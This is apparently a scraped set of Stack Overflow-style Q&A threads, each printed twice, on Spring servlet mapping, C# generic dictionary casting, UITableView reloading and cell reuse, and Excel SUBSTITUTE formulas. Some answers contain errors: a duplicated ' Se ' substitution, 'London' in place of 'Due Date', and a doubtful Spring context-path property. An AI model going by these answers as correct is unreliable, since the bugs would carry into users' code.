I have created a Spring 5.x REST Application for learning purpose where i am not using xml files like web.xml or spring-config xml file. In this application, there is controller and GUI file.
My issue is, with the below code of container initialization , I am either able to access GUI page or controller from browser but not both.

CASE-1:
In the overriding method getServletMappings(), if we will pass the string "/", My REST controller method will be invoked properly but GUI page(index.html) is coming as "Not found".

CASE-2:
In the overriding method getServletMappings(), if we will pass the string "/rest", My controller method will be coming as "Not Found" and GUI page(index.html) is accessible.

I think we also uses the same kind of concept in case of web.xml file. we just write like "/rest" in servlet mapping to pass the URL containing "/rest" string to dispatcherServelet and if that URL is not containing it, will be getting used for GUI pages. But I dont have idea to implement the same thing here.

```<code>public class SpringMvcInitializer
extends AbstractAnnotationConfigDispatcherServletInitializer {

    @Override
    protected Class<?>[] getRootConfigClasses() {
        return new Class[] { SecurityConfig.class, DbConfiguration.class };
    }

    @Override
    protected Class<?>[] getServletConfigClasses() {
        return null;
    }

    @Override
    protected String[] getServletMappings() {
        return new String[] { "/rest" };
    }

}
</code>```

Please help me on this. Thanks!

答:
As per my understanding, instead of "/" i was trying to use "/rest" which is class level requestMapping for the controller in the getServletMappings(). So that url
   without containing "rest" will not go though dispatcherServlet and serve the request for the UI pages and URL containing "/rest" will be mapped for the
   controller method. But it didn't work.
   After many hit and try i finally got the solution: What i tried is, I have created a prefix for the incoming URL. and using this prefix string in the
   getServletMappings() method. Now if i will try to access the controller resource using this prefix string in the URL, it will work fine and in the same way
   if i will use the URL for the UI pages without without using prefix string it will also worked fine.

-> Way to add prefix in the URL:

add application.properties file in the resources folder with content where "/api/*" is prefix string.

```<code>  server.contextPath=/api/*
</code>```

-> Now if we are having a URL "http:localhost:8080/project_name/register_api" for the controller, then this URL will become:

         "http://localhost:8080/project_name/api/register_api"

-> URL for the UI page index.html will be usual as below:
         "http://localhost:8080/project_name/index.html"

Body:
I have created a Spring 5.x REST Application for learning purpose where i am not using xml files like web.xml or spring-config xml file. In this application, there is controller and GUI file.
My issue is, with the below code of container initialization , I am either able to access GUI page or controller from browser but not both.

CASE-1:
In the overriding method getServletMappings(), if we will pass the string "/", My REST controller method will be invoked properly but GUI page(index.html) is coming as "Not found".

CASE-2:
In the overriding method getServletMappings(), if we will pass the string "/rest", My controller method will be coming as "Not Found" and GUI page(index.html) is accessible.

I think we also uses the same kind of concept in case of web.xml file. we just write like "/rest" in servlet mapping to pass the URL containing "/rest" string to dispatcherServelet and if that URL is not containing it, will be getting used for GUI pages. But I dont have idea to implement the same thing here.

public class SpringMvcInitializer
extends AbstractAnnotationConfigDispatcherServletInitializer {

    @Override
    protected Class<?>[] getRootConfigClasses() {
        return new Class[] { SecurityConfig.class, DbConfiguration.class };
    }

    @Override
    protected Class<?>[] getServletConfigClasses() {
        return null;
    }

    @Override
    protected String[] getServletMappings() {
        return new String[] { "/rest" };
    }

}

Please help me on this. Thanks!

Body:
As per my understanding, instead of "/" i was trying to use "/rest" which is class level requestMapping for the controller in the getServletMappings(). So that url
   without containing "rest" will not go though dispatcherServlet and serve the request for the UI pages and URL containing "/rest" will be mapped for the
   controller method. But it didn't work.
   After many hit and try i finally got the solution: What i tried is, I have created a prefix for the incoming URL. and using this prefix string in the
   getServletMappings() method. Now if i will try to access the controller resource using this prefix string in the URL, it will work fine and in the same way
   if i will use the URL for the UI pages without without using prefix string it will also worked fine.

-> Way to add prefix in the URL:

add application.properties file in the resources folder with content where "/api/*" is prefix string.

  server.contextPath=/api/*

-> Now if we are having a URL "http:localhost:8080/project_name/register_api" for the controller, then this URL will become:

         "http://localhost:8080/project_name/api/register_api"

-> URL for the UI page index.html will be usual as below:
         "http://localhost:8080/project_name/index.html"


问:
Casting a generic dictionary containing a generic dictionary
I have:

```<code>var someConcreteInstance = new Dictionary<string, Dictionary<string, bool>>();
</code>```

and I wish to cast it to an interface version, i.e.:

```<code>someInterfaceInstance = (IDictionary<string, IDictionary<string, bool>>)someConcreteInstance;
</code>```

'someInterfaceInstance' is a public property:

```<code>IDictionary<string, IDictionary<string, bool>> someInterfaceInstance { get; set; }
</code>```

This compiles correctly, but throws a runtime casting error.

```<code>Unable to cast object of type 'System.Collections.Generic.Dictionary`2[System.String,System.Collections.Generic.Dictionary`2[System.String,System.Boolean]]' to type 'System.Collections.Generic.IDictionary`2[System.String,System.Collections.Generic.IDictionary`2[System.String,System.Boolean]]'.
</code>```

What am I missing? (Problems with the nested generic type/Property?)

答:
The most you will be able to do is

```<code>IDictionary<string, Dictionary<string, bool>> viaInterface = someConcreteInstance
</code>```

The reason your inner dictionary cannot be referenced differently here (or via a cast) is that while Dictionary<string, bool> is an IDictionary<string, bool>, not all IDictionary objects will be Dictionary objects. As such, obtaining a pure interface cast would then seemingly allow you to add other <string, IDictionary<string, bool>> pairs to the original collection, when clearly there could be type violations for the original object. Therefore, this is not supported.

Body:
I have:

var someConcreteInstance = new Dictionary<string, Dictionary<string, bool>>();

and I wish to cast it to an interface version, i.e.:

someInterfaceInstance = (IDictionary<string, IDictionary<string, bool>>)someConcreteInstance;

'someInterfaceInstance' is a public property:

IDictionary<string, IDictionary<string, bool>> someInterfaceInstance { get; set; }

This compiles correctly, but throws a runtime casting error.

Unable to cast object of type 'System.Collections.Generic.Dictionary`2[System.String,System.Collections.Generic.Dictionary`2[System.String,System.Boolean]]' to type 'System.Collections.Generic.IDictionary`2[System.String,System.Collections.Generic.IDictionary`2[System.String,System.Boolean]]'.

What am I missing? (Problems with the nested generic type/Property?)

Body:
The most you will be able to do is

IDictionary<string, Dictionary<string, bool>> viaInterface = someConcreteInstance

The reason your inner dictionary cannot be referenced differently here (or via a cast) is that while Dictionary<string, bool> is an IDictionary<string, bool>, not all IDictionary objects will be Dictionary objects. As such, obtaining a pure interface cast would then seemingly allow you to add other <string, IDictionary<string, bool>> pairs to the original collection, when clearly there could be type violations for the original object. Therefore, this is not supported.


问:
How to reload UITableView after importing data?
I have a UITableView that takes its data from the app's sandbox, which is fulfilled by the FileManager's ".import" function. Basically, I have an "add" button that makes the "UIDocumentPickerViewController" popup and I am able to import files and the UITableView displays them.

My problem is that when I import a file, it is not displayed in the TableView, I have to quit the app and open it back for the file to be displayed.

I tried various things with "self.tableView.reloaddata()" and "tableView.reloaddata()" and nothing works, doesn't even show up in the console. I also tried to provide a "refresh" button, but it doesn't work either...

```<code>override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view.
        let dirPaths = FM.urls(for: .documentDirectory, in: .userDomainMask)
        let docsDir = dirPaths[0].path
        let importedfiles = try! FM.contentsOfDirectory(atPath: docsDir)

        self.importedfiles! = importedfiles as NSArray

    }

func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {

    return importedfiles.count
}

func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {

    let cell = tableView.dequeueReusableCell(
        withIdentifier: "cell",
        for: indexPath) as! TableViewCell

    cell.titleLabel.text = importedfiles[indexPath.row] as? String

    return
</code>```

The preferable thing would be that when I import a file, the TableView refreshes on its own. (The button thing was just a test)

答:
you need to reload the data after new documents were picked.</p>

```<code>class YourViewController: UIViewController {

  ...

  override func viewDidLoad() {
    super.viewDidLoad()
    self.loadFiles();
  }

  func loadFiles() {
    let dirPaths = FM.urls(for: .documentDirectory, in: .userDomainMask)
    let docsDir = dirPaths[0].path
    let importedfiles = try! FM.contentsOfDirectory(atPath: docsDir)

    self.importedfiles! = importedfiles as NSArray
  }

  func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
    return importedfiles.count
  }

  func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {

    let cell = tableView.dequeueReusableCell(
        withIdentifier: "cell",
        for: indexPath) as! TableViewCell

    cell.titleLabel.text = importedfiles[indexPath.row] as? String

    return cell;
  }

  ....
}

extension YourViewController: UIDocumentPickerDelegate {
    func documentPicker(_ controller: UIDocumentPickerViewController, didPickDocumentsAt urls: [URL]) {
      self.loadFiles();
      self.tableView.reloadData();
    }
}
</code>```

Body:
I have a UITableView that takes its data from the app's sandbox, which is fulfilled by the FileManager's ".import" function. Basically, I have an "add" button that makes the "UIDocumentPickerViewController" popup and I am able to import files and the UITableView displays them.

My problem is that when I import a file, it is not displayed in the TableView, I have to quit the app and open it back for the file to be displayed.

I tried various things with "self.tableView.reloaddata()" and "tableView.reloaddata()" and nothing works, doesn't even show up in the console. I also tried to provide a "refresh" button, but it doesn't work either...

override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view.
        let dirPaths = FM.urls(for: .documentDirectory, in: .userDomainMask)
        let docsDir = dirPaths[0].path
        let importedfiles = try! FM.contentsOfDirectory(atPath: docsDir)

        self.importedfiles! = importedfiles as NSArray

    }

func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {

    return importedfiles.count
}

func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {

    let cell = tableView.dequeueReusableCell(
        withIdentifier: "cell",
        for: indexPath) as! TableViewCell

    cell.titleLabel.text = importedfiles[indexPath.row] as? String

    return

The preferable thing would be that when I import a file, the TableView refreshes on its own. (The button thing was just a test)

Body:
you need to reload the data after new documents were picked.

class YourViewController: UIViewController {

  ...

  override func viewDidLoad() {
    super.viewDidLoad()
    self.loadFiles();
  }

  func loadFiles() {
    let dirPaths = FM.urls(for: .documentDirectory, in: .userDomainMask)
    let docsDir = dirPaths[0].path
    let importedfiles = try! FM.contentsOfDirectory(atPath: docsDir)

    self.importedfiles! = importedfiles as NSArray
  }

  func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
    return importedfiles.count
  }

  func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {

    let cell = tableView.dequeueReusableCell(
        withIdentifier: "cell",
        for: indexPath) as! TableViewCell

    cell.titleLabel.text = importedfiles[indexPath.row] as? String

    return cell;
  }

  ....
}

extension YourViewController: UIDocumentPickerDelegate {
    func documentPicker(_ controller: UIDocumentPickerViewController, didPickDocumentsAt urls: [URL]) {
      self.loadFiles();
      self.tableView.reloadData();
    }
}


问:
tableView.reloadData() adds a UIView that it should not do
I a have a modal with optional properties. And as you may have guessed, I only add a UIView for non-optional properties. In the following code, dueDate is optional. The first one has due-date and the second does not.

```<code>let london = Task( name: "Hello from London",
                     createdDate: Date(),
                     isCompleted: false,
                     dueDate: Date())

let madrid = Task( name: "hola desde madrid",
                     createdDate: Date(),
                     isCompleted: false)
</code>```

Data source method that inserts cells.

```<code>func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
    let cell = tableView.dequeueReusableCell(withIdentifier: TableViewCell.identifier, for: indexPath) as! TableViewCell

    if  let _ = tasks[indexPath.row].dueDate {
        cell.textLabel?.text = "Due Date"
    }

    return cell
}
</code>```

When I open the app, it works as I expect.  Only the first cell has Due Date. I expect it so since it is only the first task that has due-date.  However, when I remove the first cell(see code below) and reload date, Due Date is added in the second cell too. I do not understand it. I expect that it should not be added since the second task does not have due-date

Delegate method that removes cells

```<code>func tableView(_ tableView: UITableView, editActionsForRowAt indexPath: IndexPath) -> [UITableViewRowAction]? {
    let remove = UITableViewRowAction(style: .normal, title: "Remove") { action, index in
        let task =  self.tasks.remove(at: indexPath.row)
        print(task.name) //
        tableView.reloadData()
    }
    remove.backgroundColor = .red

    return [remove]
}
</code>```

What I do wrong? How can I fix this issue?

If you need more info, please just ask.

答:
It's because of dequeuing , so replace it with

```<code>cell.textLabel?.text = tasks[indexPath.row].dueDate != nil ? "London" : ""
</code>```

when you delete the first cell , it's get dequeued by the second cell so you see the second cell configured with attributes of the removed one , so inside cellForRowAt you need to make sure you set code every run

Body:
I a have a modal with optional properties. And as you may have guessed, I only add a UIView for non-optional properties. In the following code, dueDate is optional. The first one has due-date and the second does not.

let london = Task( name: "Hello from London",
                     createdDate: Date(),
                     isCompleted: false,
                     dueDate: Date())

let madrid = Task( name: "hola desde madrid",
                     createdDate: Date(),
                     isCompleted: false)

Data source method that inserts cells.

func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
    let cell = tableView.dequeueReusableCell(withIdentifier: TableViewCell.identifier, for: indexPath) as! TableViewCell

    if  let _ = tasks[indexPath.row].dueDate {
        cell.textLabel?.text = "Due Date"
    }

    return cell
}

When I open the app, it works as I expect.  Only the first cell has Due Date. I expect it so since it is only the first task that has due-date.  However, when I remove the first cell(see code below) and reload date, Due Date is added in the second cell too. I do not understand it. I expect that it should not be added since the second task does not have due-date

Delegate method that removes cells

func tableView(_ tableView: UITableView, editActionsForRowAt indexPath: IndexPath) -> [UITableViewRowAction]? {
    let remove = UITableViewRowAction(style: .normal, title: "Remove") { action, index in
        let task =  self.tasks.remove(at: indexPath.row)
        print(task.name) //
        tableView.reloadData()
    }
    remove.backgroundColor = .red

    return [remove]
}

What I do wrong? How can I fix this issue?

If you need more info, please just ask.

Body:
It's because of dequeuing , so replace it with

cell.textLabel?.text = tasks[indexPath.row].dueDate != nil ? "London" : ""

when you delete the first cell , it's get dequeued by the second cell so you see the second cell configured with attributes of the removed one , so inside cellForRowAt you need to make sure you set code every run


问:
Is there a way to find text with spaces before and after string in excel?
I am trying to update some addresses and fix case sensitive errors for example "123 Nw Apple St" should be "123 NW Apple St" I would like to be able to find all "Ne","Nw","Se" and "Sw." and if possible replace them with the correct version. However, I have yet to figure out how to even find these.

I have tried a couple different methods using search and find. The problem I am running into is Nw is not always at the end of address.

A couple things I have tried;

```<code>=SEARCH(" "&"Nw"&" ",A2,1)
</code>```

and

```<code>=SEARCH(" Nw ",A2,1)
</code>```

I just need some identifier that Nw is found. If it could replace it with "NW"
that would be even better.

答:
If they are all addresses where each word should start with a capital letter except for the four abbreviations, you MAY be able to do this:

```<code>=TRIM(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(PROPER(A2&" ")," Nw ", " NW ")," Ne "," NE ")," Se "," SE ")," Se "," SW "))
</code>```

Otherwise, if you wanted to change "nw" to "NW" as well as "Nw" to "NW", you would need four more nested substitutions.

```<code>=TRIM(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(A2&" "," Nw ", " NW ")," Ne "," NE ")," Se "," SE ")," Sw "," SW ")," nw "," NW ")," ne "," NE ")," se "," SE ")," sw "," SW "))
</code>```

See

Body:
I am trying to update some addresses and fix case sensitive errors for example "123 Nw Apple St" should be "123 NW Apple St" I would like to be able to find all "Ne","Nw","Se" and "Sw." and if possible replace them with the correct version. However, I have yet to figure out how to even find these.

I have tried a couple different methods using search and find. The problem I am running into is Nw is not always at the end of address.

A couple things I have tried;

=SEARCH(" "&"Nw"&" ",A2,1)

and

=SEARCH(" Nw ",A2,1)

I just need some identifier that Nw is found. If it could replace it with "NW"
that would be even better.

Body:
If they are all addresses where each word should start with a capital letter except for the four abbreviations, you MAY be able to do this:

=TRIM(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(PROPER(A2&" ")," Nw ", " NW ")," Ne "," NE ")," Se "," SE ")," Se "," SW "))

Otherwise, if you wanted to change "nw" to "NW" as well as "Nw" to "NW", you would need four more nested substitutions.

=TRIM(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(A2&" "," Nw ", " NW ")," Ne "," NE ")," Se "," SE ")," Sw "," SW ")," nw "," NW ")," ne "," NE ")," se "," SE ")," sw "," SW "))

See